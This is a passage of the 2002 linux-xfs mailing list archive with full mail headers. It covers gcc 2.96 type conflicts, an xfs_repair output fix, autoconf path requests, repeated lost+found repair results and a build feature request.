*; > > > > > > While I know it's the same thing, the compiler (2.96 from RH) apparently > > > > I don't think that's valid. And at least gcc 3.2 doesn't complain.. > > Yes, but 2.96 does. I'd think that several folks use 2.96, since > that's the standard gcc from RH 7.2. > > > In this case not, as the kmem_zone_t is an object opaque to it's user. > > Compare it to kmem_cache_t in þhe core Linux code. > > Okay, point taken. Nevertheless, the types between the .c and .h files > should be consistent, whatever is chosen, no? > > -- > kernel, n.: A part of an operating system that preserves the > medieval traditions of sorcery and black art. > > Danny > -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Mon Aug 19 12:41:01 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JJf0Rw032372 for ; Mon, 19 Aug 2002 12:41:01 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JJf0gq032371 for linux-xfs-outgoing; Mon, 19 Aug 2002 12:41:00 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (phoenix.mvhi.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JJeqRw032341 for ; Mon, 19 Aug 2002 12:40:53 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17gsRG-0000Lc-00; Mon, 19 Aug 2002 20:43:46 +0100 Date: Mon, 19 Aug 2002 20:43:46 +0100 From: Christoph Hellwig To: Danny Cox Cc: Christoph Hellwig , XFS Mailing List Subject: Re: Conflicting Types Between .h and .c files Message-ID: <20020819204345.A1068@infradead.org> References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> <20020819195641.A32415@infradead.org> <1029784293.1147.49.camel@wiley> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <1029784293.1147.49.camel@wiley>; from DCox@SnapServer.com on Mon, Aug 19, 2002 at 03:11:32PM -0400 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 19, 2002 at 03:11:32PM -0400, Danny Cox wrote: > Christoph, > > On Mon, 2002-08-19 at 14:56, Christoph Hellwig wrote: > > On Mon, Aug 19, 2002 at 02:52:08PM -0400, Danny Cox wrote: > > > > I don't think that's valid. And at least gcc 3.2 doesn't complain.. > > > > > > Yes, but 2.96 does. I'd think that several folks use 2.96, since > > > that's the standard gcc from RH 7.2. > > > > Gcc '2.96' is a development snapshot. Even if redhat ships it it's by > > now ways official. > > Okay, one more try, and I'll admit defeat, and shut up: > > "Official" or not, many folks who use XFS will compile it with gcc > 2.96, because that's the version they get by default. They must make > the changes if they wish to acutally *use* XFS. Even given that it's a > simple change, I doubt that a non-C-programmer can do it. But it does work with redhat's latest release compilers (7.1/7.2 errata, 7.3). So please upgrade to those, older compilers are known to produce buggy code in combination with XFS anyway. From owner-linux-xfs@oss.sgi.com Mon Aug 19 13:39:52 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JKdqRw000867 for ; Mon, 19 Aug 2002 13:39:52 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JKdqqZ000866 for linux-xfs-outgoing; Mon, 19 Aug 2002 13:39:52 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from chimta02.algx.net (chimta02.algx.net [216.99.233.77]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JKdjRw000834 for ; Mon, 19 Aug 2002 13:39:45 -0700 Received: from wiley.ceo.com (ip66-2-81-26.z81-2-66.customer.algx.net [66.2.81.26]) by chimmx02.algx.net (iPlanet Messaging Server 5.1 (built May 7 2001)) with ESMTP id <0H13005ZSWT2PR@chimmx02.algx.net> for linux-xfs@oss.sgi.com; Mon, 19 Aug 2002 14:58:16 -0500 (CDT) Date: Mon, 19 Aug 2002 15:58:13 -0400 From: Danny Cox Subject: Re: Conflicting Types Between .h and .c files In-reply-to: <20020819204345.A1068@infradead.org> To: Christoph Hellwig Cc: XFS Mailing List Message-id: <1029787095.8619.53.camel@wiley> MIME-version: 1.0 X-Mailer: Ximian Evolution 1.0.8 Content-type: text/plain Content-transfer-encoding: 7BIT References: <1029504550.1808.5.camel@wiley> <20020819194735.A32101@infradead.org> <1029783129.1147.37.camel@wiley> <20020819195641.A32415@infradead.org> <1029784293.1147.49.camel@wiley> <20020819204345.A1068@infradead.org> X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Christoph, On Mon, 2002-08-19 at 15:43, Christoph Hellwig wrote: > But it does work with redhat's latest release compilers (7.1/7.2 errata, 7.3). > So please upgrade to those, older compilers are known to produce buggy code > in combination with XFS anyway. From my system, "rpm -qa | grep gcc" produces: gcc-2.96-108.7.2 granted, Eric says his is gcc-2.96-110.*, but I'm as uptodate as I know how to be. Am I missing something obvious? -- kernel, n.: A part of an operating system that preserves the medieval traditions of sorcery and black art. Danny From owner-linux-xfs@oss.sgi.com Mon Aug 19 14:38:22 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JLcMRw001713 for ; Mon, 19 Aug 2002 14:38:22 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JLcMoa001712 for linux-xfs-outgoing; Mon, 19 Aug 2002 14:38:22 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JLcDRw001672 for ; Mon, 19 Aug 2002 14:38:14 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id QAA68401 for ; Mon, 19 Aug 2002 16:41:03 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id QAA06680 for ; Mon, 19 Aug 2002 16:41:03 -0500 (CDT) From: Eric Sandeen Received: by stout.americas.sgi.com (8.11.6/SGI-client-1.7) id g7JLeQ113402; Mon, 19 Aug 2002 16:40:26 -0500 Message-Id: <200208192140.g7JLeQ113402@stout.americas.sgi.com> Date: Mon, 19 Aug 2002 16:40:26 -0500 Subject: TAKE - xfsprogs tweaks X-Spam-Status: No, hits=0.9 required=5.0 tests=MISSING_HEADERS version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Decode "18446744073709551615" to "NULLFSINO" if xfs_repair finds that for an inode number. Also fix the way repair prints the fixed inode numbers, so instead of getting sb root inode value 18446744073709551615 inconsistent with calculated value 13835051801809780864 resetting superblock root inode pointer to 18446744069414584448 we get a little more meaningful: sb root inode value 18446744073709551615 (NULLFSINO) inconsistent with calculated value 128 resetting superblock root inode pointer to 128 I thought I had a bona-fide bug fix for repair as well, but I can't duplicate the bug today... moon phase changed I guess. Date: Mon Aug 19 14:38:12 PDT 2002 Workarea: stout.americas.sgi.com:/localhome/src/sandeen/2.4.x-xfs/workarea-alwaysclean The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: xfs-cmds:slinx:125406a cmd/xfsprogs/VERSION - 1.53 - Bump to 2.2.2 cmd/xfsprogs/doc/CHANGES - 1.77 - Record repair change, and xfs_db endian change that was missing. cmd/xfsprogs/repair/xfs_repair.c - 1.9 - Print out "NULLFSINO" if that's what calc_mkfs finds Fix format string for calculated inode numbers in calc_mkfs cmd/xfstests/common.repair - 1.6 - Deal with the new "(NULLFSINO)" that repair might print From owner-linux-xfs@oss.sgi.com Mon Aug 19 16:57:59 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7JNvxEC004915 for ; Mon, 19 Aug 2002 16:57:59 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7JNvxqi004914 for linux-xfs-outgoing; Mon, 19 Aug 2002 16:57:59 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from nexus6.cuddletech.co.uk (12-213-184-155.client.attbi.com [12.213.184.155]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7JNvpEC004886 for ; Mon, 19 Aug 2002 16:57:51 -0700 Received: from mydomain.com (loopback [127.0.0.1]) by nexus6.cuddletech.co.uk (8.12.0.Beta12/8.12.0.Beta12) with SMTP id g7K00kPg002676 for ; Mon, 19 Aug 2002 17:00:46 -0700 Received: from 209.157.70.17 (SquirrelMail authenticated user benr) by www.cuddletech.dyndns.org with HTTP; Mon, 19 Aug 2002 17:00:46 -0700 (PDT) Message-ID: <49432.209.157.70.17.1029801646.squirrel@www.cuddletech.dyndns.org> Date: Mon, 19 Aug 2002 17:00:46 -0700 (PDT) Subject: Change to autoconf configuration of XFS From: "Ben Rockwood" To: X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal Reply-To: benr@cuddletech.com X-Mailer: SquirrelMail (version 1.2.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello. I was hoping a change could be made to the "configure.in" files of XFS package. Right now "configure" looks for each needed tool in a staticlocation. For most people this isn't an issue, but if you reinstall most of the GNU tools from source they install into /usr/local which isn't normally a problem. Therefore, I'd ask that the AC_PATH_PROG lines have an expanded path. You can either just add /usr/local/bin, or be even more forgiving and drop "$PATH" into the mix. Here's an example of the modification for DMAPI configure.in line 123: AC_PATH_PROG(LIBTOOL, libtool,,/usr/bin:/usr/local/bin:$PATH) If nothing else, this mod doesn't hurt anything and will keep users from complaining that they can't find libtool... "BUT I HAVE LIBTOOL!?!?! I'M NOT CRAZY!!!!". I can submit patches for the changes if you like. Just let me know and I'll submit the patches to the list. I'm a _HUGE_ fan of XFS. It just keeps getting better and better, you guys are doing an awsome job! Thank You. benr. -- //Ben Rockwood - UNIX Systems Admin //email: benr@cuddletech.com //web: www.cuddletech.com //-> We do what we can, We give what we have, //-> Our doubt is our passion, and our passion is our task, //-> The rest is the madness of Art. //-> -Henry James From owner-linux-xfs@oss.sgi.com Mon Aug 19 18:53:37 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K1rbEC006279 for ; Mon, 19 Aug 2002 18:53:37 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K1rb04006278 for linux-xfs-outgoing; Mon, 19 Aug 2002 18:53:37 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from cpqdl380-7.wac.com (cpqdl380-7.wac.com [208.161.116.7]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K1rLEC006242 for ; Mon, 19 Aug 2002 18:53:21 -0700 Received: from dslink.net (unverified [206.151.38.9]) by wac.com (Rockliffe SMTPRA 5.2.3) with SMTP id ; Mon, 19 Aug 2002 18:56:16 -0700 Message-ID: <170460-22002822015518219@dslink.net> X-EM-Version: 6, 0, 0, 6 X-EM-Registration: #00E0620610781F002A20 X-Priority: 3 From: "Thomas Hall" To: sandeen@sgi.com Cc: linux-xfs@oss.sgi.com Subject: xfs_repair complications Date: Mon, 19 Aug 2002 18:55:18 -0700 MIME-Version: 1.0 Content-type: text/plain; charset=iso-8859-1 X-Spam-Status: No, hits=0.8 required=5.0 tests=X_EM_VER_PRESENT version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk I keep getting a recurrence of a defective directory inode with the same xfs_repair output every time. I get this from the latest xfs_repair snapshot as well as three other versions thereof: Matt R Hall mhall@mhcomputing.net PS I am not on the XFS list so please CC replies on the thread to me, or I'll read a web archive if there is one. If anyone suggests more comprehensive testing to try I'll be happy to follow through and figure this out. Phase 2 - using internal log - zero log... - scan filesystem freespace and inode maps... - found root inode chunk - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 - clearing existing "lost+found" inode - marking entry "lost+found" to be deleted - agno = 0 - agno = 1 - agno = 2 - agno = 3 - agno = 4 - agno = 5 - agno = 6 - agno = 7 - agno = 8 - agno = 9 - agno = 10 - agno = 11 - agno = 12 - agno = 13 - agno = 14 - agno = 15 - agno = 16 - agno = 17 - agno = 18 - agno = 19 - agno = 20 - agno = 21 - agno = 22 - agno = 23 - agno = 24 - agno = 25 - agno = 26 - agno = 27 Phase 5 - rebuild AG headers and trees... - reset superblock... Phase 6 - check inode connectivity... - resetting contents of realtime bitmap and summary inodes - ensuring existence of lost+found directory - traversing filesystem starting at / ... rebuilding directory inode 128 - traversal finished ... - traversing all unattached subtrees ... - traversals finished ... - moving disconnected inodes to lost+found ... disconnected inode 100742368, moving to lost+found disconnected inode 100742370, moving to lost+found disconnected inode 100742387, moving to lost+found disconnected inode 100742390, moving to lost+found disconnected inode 100742407, moving to lost+found disconnected inode 100742420, moving to lost+found disconnected inode 100742422, moving to lost+found disconnected inode 100742429, moving to lost+found disconnected inode 100742432, moving to lost+found disconnected inode 100742464, moving to lost+found disconnected inode 100742482, moving to lost+found disconnected inode 100742484, moving to lost+found disconnected inode 100742486, moving to lost+found disconnected inode 100742490, moving to lost+found disconnected inode 100745856, moving to lost+found disconnected inode 100745903, moving to lost+found done From owner-linux-xfs@oss.sgi.com Mon Aug 19 19:26:47 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K2QlEC006757 for ; Mon, 19 Aug 2002 19:26:47 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K2QlOA006756 for linux-xfs-outgoing; Mon, 19 Aug 2002 19:26:47 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K2QbEC006728 for ; Mon, 19 Aug 2002 19:26:37 -0700 Received: from tulip-e185.americas.sgi.com (tulip-e185.americas.sgi.com [128.162.185.208]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id VAA69549; Mon, 19 Aug 2002 21:29:27 -0500 (CDT) Received: from [192.168.1.100] (cf-vpn-sw-corp-64-57.corp.sgi.com [134.15.64.57]) by tulip-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id VAA70610; Mon, 19 Aug 2002 21:29:26 -0500 (CDT) Subject: Re: xfs_repair complications From: Stephen Lord To: Thomas Hall Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <170460-22002822015518219@dslink.net> References: <170460-22002822015518219@dslink.net> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 19 Aug 2002 21:29:34 -0500 Message-Id: <1029810576.1115.30.camel@laptop.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, 2002-08-19 at 20:55, Thomas Hall wrote: > I keep getting a recurrence of a defective directory inode with the > same xfs_repair output every time. I get this from the latest > xfs_repair snapshot as well as three other versions thereof: > > Matt R Hall > mhall@mhcomputing.net > Basically, you cannot leave files in lost+found when you run repair. If you look at this output: > > > > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... ...... > - agno = 27 > - clearing existing "lost+found" inode > - marking entry "lost+found" to be deleted We just blew away lost+found - along with anything inside it. Now we put them back again. > - moving disconnected inodes to lost+found ... > disconnected inode 100742368, moving to lost+found > disconnected inode 100742370, moving to lost+found > disconnected inode 100742387, moving to lost+found > disconnected inode 100742390, moving to lost+found > disconnected inode 100742407, moving to lost+found > disconnected inode 100742420, moving to lost+found > disconnected inode 100742422, moving to lost+found > disconnected inode 100742429, moving to lost+found > disconnected inode 100742432, moving to lost+found > disconnected inode 100742464, moving to lost+found > disconnected inode 100742482, moving to lost+found > disconnected inode 100742484, moving to lost+found > disconnected inode 100742486, moving to lost+found > disconnected inode 100742490, moving to lost+found > disconnected inode 100745856, moving to lost+found > disconnected inode 100745903, moving to lost+found > done > Try removing lost+found first, or just rename it to something else. This will stop happening. Steve From owner-linux-xfs@oss.sgi.com Mon Aug 19 19:52:20 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K2qKEC007054 for ; Mon, 19 Aug 2002 19:52:20 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K2qKUu007053 for linux-xfs-outgoing; Mon, 19 Aug 2002 19:52:20 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K2qDEC007025 for ; Mon, 19 Aug 2002 19:52:13 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id TAB03795 for ; Mon, 19 Aug 2002 19:55:53 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA00491; Tue, 20 Aug 2002 12:53:49 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7K2pQNj005655; Tue, 20 Aug 2002 12:51:26 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7K2pP6P005653; Tue, 20 Aug 2002 12:51:25 +1000 Date: Tue, 20 Aug 2002 12:51:25 +1000 From: Nathan Scott To: Ben Rockwood Cc: linux-xfs@oss.sgi.com Subject: Re: Change to autoconf configuration of XFS Message-ID: <20020820025125.GB459@frodo> References: <49432.209.157.70.17.1029801646.squirrel@www.cuddletech.dyndns.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <49432.209.157.70.17.1029801646.squirrel@www.cuddletech.dyndns.org> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 19, 2002 at 05:00:46PM -0700, Ben Rockwood wrote: > > Hello. > > I was hoping a change could be made to the "configure.in" files of XFS > package. Right now "configure" looks for each needed tool in a staticlocation. For most people this isn't an issue, but if you reinstall > most of the GNU tools from source they install into /usr/local which > isn't normally a problem. Therefore, I'd ask that the AC_PATH_PROG lines > have an expanded path. You can either just add /usr/local/bin, or be > even more forgiving and drop "$PATH" into the mix. Here's an example > of the modification for DMAPI configure.in line 123: > > AC_PATH_PROG(LIBTOOL, libtool,,/usr/bin:/usr/local/bin:$PATH) > > If nothing else, this mod doesn't hurt anything and will keep users > from complaining that they can't find libtool... "BUT I HAVE LIBTOOL!?!?! > I'M NOT CRAZY!!!!". > I can submit patches for the changes if you like. Just let me know and > I'll submit the patches to the list. Sounds fair to me - if noone complains in a day or so, feel free to send along patches. thanks. -- Nathan From owner-linux-xfs@oss.sgi.com Mon Aug 19 19:56:43 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K2uhEC007243 for ; Mon, 19 Aug 2002 19:56:43 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K2uhK7007242 for linux-xfs-outgoing; Mon, 19 Aug 2002 19:56:43 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from sgi.com (sgi-too.SGI.COM [204.94.211.39]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K2uOEC007214 for ; Mon, 19 Aug 2002 19:56:24 -0700 Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by sgi.com (980327.SGI.8.8.8-aspam/980304.SGI-aspam: SGI does not authorize the use of its proprietary systems or networks for unsolicited or bulk email from the Internet.) via SMTP id UAA06174 for ; Mon, 19 Aug 2002 20:00:04 -0700 (PDT) mail_from (nathans@larry.melbourne.sgi.com) Received: from frodo.melbourne.sgi.com (frodo.melbourne.sgi.com [134.14.55.153]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id MAA00519; Tue, 20 Aug 2002 12:57:58 +1000 Received: from frodo.melbourne.sgi.com (nathans@localhost [127.0.0.1]) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) with ESMTP id g7K2taNj005672; Tue, 20 Aug 2002 12:55:36 +1000 Received: (from nathans@localhost) by frodo.melbourne.sgi.com (8.12.5/8.12.5/Debian-1) id g7K2tXi7005670; Tue, 20 Aug 2002 12:55:33 +1000 Date: Tue, 20 Aug 2002 12:55:33 +1000 From: Nathan Scott To: Thomas Hall Cc: sandeen@sgi.com, linux-xfs@oss.sgi.com Subject: Re: xfs_repair complications Message-ID: <20020820025533.GC459@frodo> References: <170460-22002822015518219@dslink.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <170460-22002822015518219@dslink.net> User-Agent: Mutt/1.4i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Mon, Aug 19, 2002 at 06:55:18PM -0700, Thomas Hall wrote: > I keep getting a recurrence of a defective directory inode with the > same xfs_repair output every time. I get this from the latest > xfs_repair snapshot as well as three other versions thereof: > > Matt R Hall > mhall@mhcomputing.net > > PS I am not on the XFS list so please CC replies on the thread to me, > or I'll read a web archive if there is one. If anyone suggests more > comprehensive testing to try I'll be happy to follow through and > figure this out. > This sounds to me like xfs_repair is behaving as advertised... > Phase 2 - using internal log > - zero log... > - scan filesystem freespace and inode maps... > - found root inode chunk > - agno = 0 > - agno = 1 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > - agno = 16 > - agno = 17 > - agno = 18 > - agno = 19 > - agno = 20 > - agno = 21 > - agno = 22 > - agno = 23 > - agno = 24 > - agno = 25 > - agno = 26 > - agno = 27 > - clearing existing "lost+found" inode > - marking entry "lost+found" to be deleted So, at this point you have a /lost+found from a previous xfs_repair run and I assume it has several files in it... > - agno = 0 > - agno = 1 > - agno = 2 > - agno = 3 > - agno = 4 > - agno = 5 > - agno = 6 > - agno = 7 > - agno = 8 > - agno = 9 > - agno = 10 > - agno = 11 > - agno = 12 > - agno = 13 > - agno = 14 > - agno = 15 > - agno = 16 > - agno = 17 > - agno = 18 > - agno = 19 > - agno = 20 > - agno = 21 > - agno = 22 > - agno = 23 > - agno = 24 > - agno = 25 > - agno = 26 > - agno = 27 > Phase 5 - rebuild AG headers and trees... > - reset superblock... > Phase 6 - check inode connectivity... > - resetting contents of realtime bitmap and summary inodes > - ensuring existence of lost+found directory > - traversing filesystem starting at / ... > rebuilding directory inode 128 Here we have to rebuild 128 (the root directory) because we removed the old /lost+found entry and created a new one.... > - traversal finished ... > - traversing all unattached subtrees ... > - traversals finished ... > - moving disconnected inodes to lost+found ... > disconnected inode 100742368, moving to lost+found > disconnected inode 100742370, moving to lost+found > disconnected inode 100742387, moving to lost+found > disconnected inode 100742390, moving to lost+found > disconnected inode 100742407, moving to lost+found > disconnected inode 100742420, moving to lost+found > disconnected inode 100742422, moving to lost+found > disconnected inode 100742429, moving to lost+found > disconnected inode 100742432, moving to lost+found > disconnected inode 100742464, moving to lost+found > disconnected inode 100742482, moving to lost+found > disconnected inode 100742484, moving to lost+found > disconnected inode 100742486, moving to lost+found > disconnected inode 100742490, moving to lost+found > disconnected inode 100745856, moving to lost+found > disconnected inode 100745903, moving to lost+found And these are all the inodes which a previous run of xfs_repair has stashed away in /lost+found for you to inspect and save away somewhere more appropriate. > done So, if you don't remove the contents of /lost+found xfs_repair will keep coming back with these errors. cheers. -- Nathan From owner-linux-xfs@oss.sgi.com Mon Aug 19 20:09:11 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K39BEC007994 for ; Mon, 19 Aug 2002 20:09:11 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K39B5m007993 for linux-xfs-outgoing; Mon, 19 Aug 2002 20:09:11 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mail.mnsu.edu (Mail.MNSU.EDU [134.29.1.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K391EC007965 for ; Mon, 19 Aug 2002 20:09:02 -0700 Received: from mail.mnsu.edu (mail.mnsu.edu [134.29.1.12]) by mail.mnsu.edu (8.9.3/8.9.3) with ESMTP id WAA14669 for ; Mon, 19 Aug 2002 22:11:51 -0500 (CDT) Date: Mon, 19 Aug 2002 22:11:51 -0500 (CDT) From: Jeffrey Hundstad To: linux-xfs@oss.sgi.com Subject: feature request Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hello, First, I'd like to say thanks to the developers for making a great product. It's nice to have a truly great file-system available for linux. Now for the meat ;-) I've had very little problems trying to make the cmd utilities from source... but when I try to make the utilities with options (ie. --prefix or --static) the options get lost in the makefiles. Over the last few months I've been successful at going into each of the subdirectories in the cmd tree (ie. xfsdump xfsprogs etc.) and modifying the Makefile near the ./configure line and putting --prefix=/otherdir. I then have to go to each program that I want to make statically linked, rm it then run make. I grab the line that linked the file and place a -static before the "-o". There is also a Makefile belief that the linux source tree, linux, lives at the same level as cmd. While a simple symlink seems to make it happy there'd seem to be a better way. So... here's where the request part starts: It'd be a lot of fun do the following from a command line at the root of the cmd directory: autoconf ./configure --kernel-source=/home/me/src/linux-2.4.19-xfs --static-binaries --prefix=/myowntree --with-xfsdump --with-aclsupport --with-xfsprogs --without-rpmpackaging make make install I'm not at a level where I can really do this work myself. I'm just learning how the configure stuff works. ...But if anyone else is thinking about a build rewrite these would make nice features. -- jeffrey hundstad From owner-linux-xfs@oss.sgi.com Mon Aug 19 21:38:34 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7K4cYEC009116 for ; Mon, 19 Aug 2002 21:38:34 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7K4cYWG009115 for linux-xfs-outgoing; Mon, 19 Aug 2002 21:38:34 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7K4cNEC009086 for ; Mon, 19 Aug 2002 21:38:23 -0700 Received: from poppy-e185.americas.sgi.com (poppy-e185.americas.sgi.com [128.162.185.207]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id XAA70008; Mon, 19 Aug 2002 23:41:13 -0500 (CDT) Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.187.5]) by poppy-e185.americas.sgi.com (980427.SGI.8.8.8/SGI-server-1.8) with ESMTP id XAA01981; Mon, 19 Aug 2002 23:41:13 -0500 (CDT) Date: Mon, 19 Aug 2002 23:40:33 -0500 (CDT) From: Eric Sandeen X-X-Sender: sandeen@stout.americas.sgi.com To: Jeffrey Hundstad cc: linux-xfs@oss.sgi.com Subject: Re: feature request In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Hi Jeffrey - The top-level Makefile in the cmd/ subdir was written for an internal build system, so some of it may not make the most sense outside of 